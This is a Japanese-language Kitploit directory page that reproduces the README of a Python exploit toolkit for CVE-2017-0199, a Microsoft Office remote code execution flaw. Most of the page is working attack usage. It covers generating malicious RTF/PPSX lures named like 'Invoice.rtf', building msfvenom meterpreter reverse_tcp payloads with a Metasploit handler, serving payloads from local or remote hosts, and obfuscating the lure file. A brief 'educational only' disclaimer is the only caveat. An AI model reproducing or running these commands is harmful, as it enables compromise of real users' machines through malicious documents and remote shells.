Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-0199 — CVE-2017-0199を悪用したリモートコード実行のための悪意のあるRTF/PPSXファイルを生成し、最小限の設定でMetasploitまたはカスタムペイロードを配信するPythonスクリプト。 | Kitploit
ツール/GitHubGitHub/likekabin/cve-2017-0199
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHublikekabin/cve-2017-0199

CVE-2017-0199

CVE-2017-0199を悪用したリモートコード実行のための悪意のあるRTF/PPSXファイルを生成し、最小限の設定でMetasploitまたはカスタムペイロードを配信するPythonスクリプト。

リポジトリを見る
8年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Exploit toolkit CVE-2017-0199 - v4.0

Exploit toolkit CVE-2017-0199 - v4.0 は、ペネトレーションテスターやセキュリティ研究者が Microsoft Office RCE を迅速かつ効果的にテストできる便利な Python スクリプトです。複雑な設定を必要とせず、悪意のある RTF/PPSX ファイルを生成し、Metasploit / meterpreter / その他のペイロードを被害者に配信することができます。

免責事項

このプログラムは教育目的のみで使用してください。許可なく使用しないでください。通常の免責事項が適用されます。特に、私 (bhdresh) は、これらのプログラムが提供する情報や機能を直接的または間接的に使用したことによって生じるいかなる損害に対しても責任を負いません。著者またはインターネットプロバイダーは、これらのプログラムまたはその派生物のコンテンツや誤用について一切の責任を負いません。このプログラムを使用することにより、これらのプログラムの使用によって生じるいかなる損害 (データ損失、システムクラッシュ、システム侵害など) も bhdresh の責任ではないことを受け入れたものとみなされます。

最後に、これは個人開発です。その哲学を尊重し、悪用しないでください。

ライセンス

CC BY 4.0 ライセンス - https://creativecommons.org/licenses/by/4.0/

リリースノート:

スクリプトに以下の機能を追加しました。

root@kitploit:~
- 悪意のある PPSX ファイルの生成
- 生成された PPSX ファイルのエクスプロイトモード
- テンプレート template.ppsx の更新

バージョン: Python 2.7.13

シナリオ 1: ローカルペイロードを配信

コマンド例
root@kitploit:~
1) 悪意のある RTF ファイルを生成
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (オプション、MSF ペイロードを使用する場合): Metasploit ペイロードを生成し、ハンドラーを起動
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) エクスプロイトモードでツールキットを起動し、ローカルペイロードを配信
   # python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
シーケンス図

alt tag

シナリオ 2: リモートペイロードを配信

コマンド例
root@kitploit:~
1) 悪意のある RTF ファイルを生成
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) エクスプロイトモードでツールキットを起動し、リモートペイロードを配信
   # python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe
シーケンス図

alt tag

シナリオ 3: カスタム HTA ファイルを配信

コマンド例
root@kitploit:~
1) 悪意のある RTF ファイルを生成
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) エクスプロイトモードでツールキットを起動し、カスタム HTA ファイルを配信
   # python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta
シーケンス図

alt tag

コマンドライン引数:

root@kitploit:~
# python cve-2017-0199_toolkit.py -h

This is a handy toolkit to exploit CVE-2017-0199 (Microsoft office RCE)

Modes:

-M gen                                          悪意のあるファイルのみを生成

     悪意のある RTF/PPSX ファイルを生成:

      -w <Filename.rtf/Filename.ppsx>     悪意のある RTF/PPSX ファイルの名前 (このファイルを被害者と共有します)。

      -u <http://attacker.com/test.hta>   HTA/SCT ファイルへのパス。通常は、このツールが実行されているドメインまたは IP アドレスです。
                                      例: http://attackerip.com/test.doc (この URL は悪意のある RTF/PPSX ファイルに埋め込まれ、被害者が悪意のある RTF ファイルを開くとリクエストされます)。
      -t RTF|PPSX (デフォルト = RTF)         生成するファイルのタイプ。
      -x 0|1  (デフォルト = 0)               難読化された RTF ファイルを生成します。0 = 無効、1 = 有効。

				      
-M exp                                          エクスプロイトモードを開始

     エクスプロイト:
 
      -t RTF|PPSX (デフォルト = RTF)         エクスプロイトするファイルのタイプ。
      -H </tmp/custom>                ターゲットに配信して実行するカスタム HTA/SCT ファイルのローカルパス。
                                  注: このオプションは、"-e" および "-l" オプションで指定されたペイロードを配信しません。
					  
      -p <TCP port:Default 80>            ローカルポート番号。

      -e <http://attacker.com/shell.exe>  ターゲットで実行する実行可能ファイル / meterpreter シェル / ペイロードのパス。

      -l </tmp/shell.exe>                 ペイロードがローカルでホストされている場合、実行可能ファイル / meterpreter シェル / ペイロードのローカルパスを指定します。

クレジット

RTF サンプルの @nixawk、@Li Haifei、@bhdresh

バグ、問題、機能リクエスト

もちろん、私はフルタイムの開発者ではないので、多少の問題はご容赦ください。

バグや問題は https://github.com/bhdresh/CVE-2017-0199/issues/new から報告してください。

ツールをダウンロード